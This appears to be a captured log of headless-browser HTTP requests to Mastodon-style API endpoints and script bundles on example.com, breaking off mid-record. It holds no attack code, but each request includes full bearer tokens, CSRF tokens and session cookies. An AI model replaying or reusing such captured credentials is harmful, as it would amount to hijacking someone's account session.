{"method": "GET", "target": "/api/v1/lists", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/followed_tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/suggestions?limit=20", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/streaming/?", "headers": ["Host: example.com", "Connection: Upgrade", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Upgrade: websocket", "Origin: https://example.com", "Sec-WebSocket-Version: 13", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MzEuMzY2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f62798087cb39d52a77f59b40d170779fc72d91e; _mastodon_session=3KI6RuYM9zGv%2FugjPwC1%2FlO%2BFeVNkvGcOrUj6CCDklyT%2BkgobTeFkFuN%2F6G5wjU5xnnoMBP1yE1HamAXxrrHGyMnRW8HCIR2r1GJykqzJsXJGLjwBqq5qLngmnRwNVgWYq9bvW99JxeU4HxhEmw47nQgYqOjhvcjc0QQgYakMaxMqmocUKYeDQJf0aeYphtcUP3svGfZc%2BfEje2nudeG87m0jPYpHc2mPnB32In1IEWjNOijjzgE0kILLZzcfQf%2Fx3t7KayVRjw43C0IU6a8qOjEFTX1IjJYAnsveNfToCTrlVKByIDAnjLnLg34miF3%2Bu6qm3td51sa7QWcuZnU2NfOCDjddytkcWzIVyToiwL24nxoYBS%2FJxIyY3QJgHekj%2FFw8yHAuv3f--88gUJNQUBbhKn%2Bsr--veY1ZNSeux%2FXsOV%2BlNp3QQ%3D%3D", "Sec-WebSocket-Key: EQjJJ6DGqvnPJceC0oQBYg==", "Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits", "Sec-WebSocket-Protocol: uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/push_notifications-C0ir4q-Q.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=v2%2Fq0E%2FqQKhuiyAwzWncgsSVevHO%2F9hltrfPHh8HYrha8F1JyaEcp0GI%2FiS8Gm6us93Vgu6CqY0vM%2BOq0bp7%2FAnuXVIFAtu5L%2FmB58Xa9XM%2BR%2Fd%2BmqfzI5WKqxGEIr8KxyHApqXEexVKSbuU3hTc7gHs5fmCMKUq%2BLoPp0PK87leSH%2FHjA%2Fv1BcyGqtFMVKKDUXkJ9kA2gG0aA3eXwXwUDur34V175OpNmTVRJP4YBNHldOFU0in6r4Y52yfoTK3GemC5ivJYjTkTWC4n41Gw6PWMWZ7Zr1C5A%3D%3D--ZMe41imfFsZeuqvn--11QYUrWIi6YrEdv47nMY%2Fg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/utils-B19lL5A9.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDIuMTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a481d7ad991eff73f40c0414fe87ba9d8b41d1eb; _mastodon_session=cbc6a3Lk%2BKdhOtrESdEIzenzBjcsIJk8AXTSFGkysgRzzFEevEYmUbku1CS5alFWEjDOfNoICS8b%2Fl41DwXXvJ%2Ba5CmSGMkaDD7DDn1hMz31s3V5tHSqnQvHWGyQs7hOUUAZuigWUbNH9fPNMH3hMqfhjxcjdDQqMvsYItsMskR47jtgKqbEUcNKJqWzkHT2tBg5%2BuvAvarzkNLM%2BupOEFrMX7%2BMgR8gCzQfZlXjHAqD4mgIBi6RaVVo0UrsieaAsKg3Sb2kYvbtschnthBDwB2vPfr3LhnNooBlVX5xuHIBS6IEXVUIdBu7CLV1OMb%2F%2F6G13YLef1gWO7UIAz6nufB52bnp1PQhb2a5AkBDFJhVeq%2BhTVbJ3V7LNNV2fYQL9rHwghoKq2H4--vKS3FAVKl0%2FLuieX--mpOaf6XYM%2BcYJjzmk9ry5Q%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/simple-RcjHIGVG.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDIuMTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a481d7ad991eff73f40c0414fe87ba9d8b41d1eb; _mastodon_session=cbc6a3Lk%2BKdhOtrESdEIzenzBjcsIJk8AXTSFGkysgRzzFEevEYmUbku1CS5alFWEjDOfNoICS8b%2Fl41DwXXvJ%2Ba5CmSGMkaDD7DDn1hMz31s3V5tHSqnQvHWGyQs7hOUUAZuigWUbNH9fPNMH3hMqfhjxcjdDQqMvsYItsMskR47jtgKqbEUcNKJqWzkHT2tBg5%2BuvAvarzkNLM%2BupOEFrMX7%2BMgR8gCzQfZlXjHAqD4mgIBi6RaVVo0UrsieaAsKg3Sb2kYvbtschnthBDwB2vPfr3LhnNooBlVX5xuHIBS6IEXVUIdBu7CLV1OMb%2F%2F6G13YLef1gWO7UIAz6nufB52bnp1PQhb2a5AkBDFJhVeq%2BhTVbJ3V7LNNV2fYQL9rHwghoKq2H4--vKS3FAVKl0%2FLuieX--mpOaf6XYM%2BcYJjzmk9ry5Q%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/callout-B1KuUxns.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDIuMTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a481d7ad991eff73f40c0414fe87ba9d8b41d1eb; _mastodon_session=cbc6a3Lk%2BKdhOtrESdEIzenzBjcsIJk8AXTSFGkysgRzzFEevEYmUbku1CS5alFWEjDOfNoICS8b%2Fl41DwXXvJ%2Ba5CmSGMkaDD7DDn1hMz31s3V5tHSqnQvHWGyQs7hOUUAZuigWUbNH9fPNMH3hMqfhjxcjdDQqMvsYItsMskR47jtgKqbEUcNKJqWzkHT2tBg5%2BuvAvarzkNLM%2BupOEFrMX7%2BMgR8gCzQfZlXjHAqD4mgIBi6RaVVo0UrsieaAsKg3Sb2kYvbtschnthBDwB2vPfr3LhnNooBlVX5xuHIBS6IEXVUIdBu7CLV1OMb%2F%2F6G13YLef1gWO7UIAz6nufB52bnp1PQhb2a5AkBDFJhVeq%2BhTVbJ3V7LNNV2fYQL9rHwghoKq2H4--vKS3FAVKl0%2FLuieX--mpOaf6XYM%2BcYJjzmk9ry5Q%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/markers?timeline%5B%5D=notifications", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/timelines/home", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/notifications?grouped_types%5B%5D=favourite&grouped_types%5B%5D=reblog&grouped_types%5B%5D=follow&exclude_types%5B%5D=follow_request", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/instance/translation_languages", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/follow_requests", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/lists", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 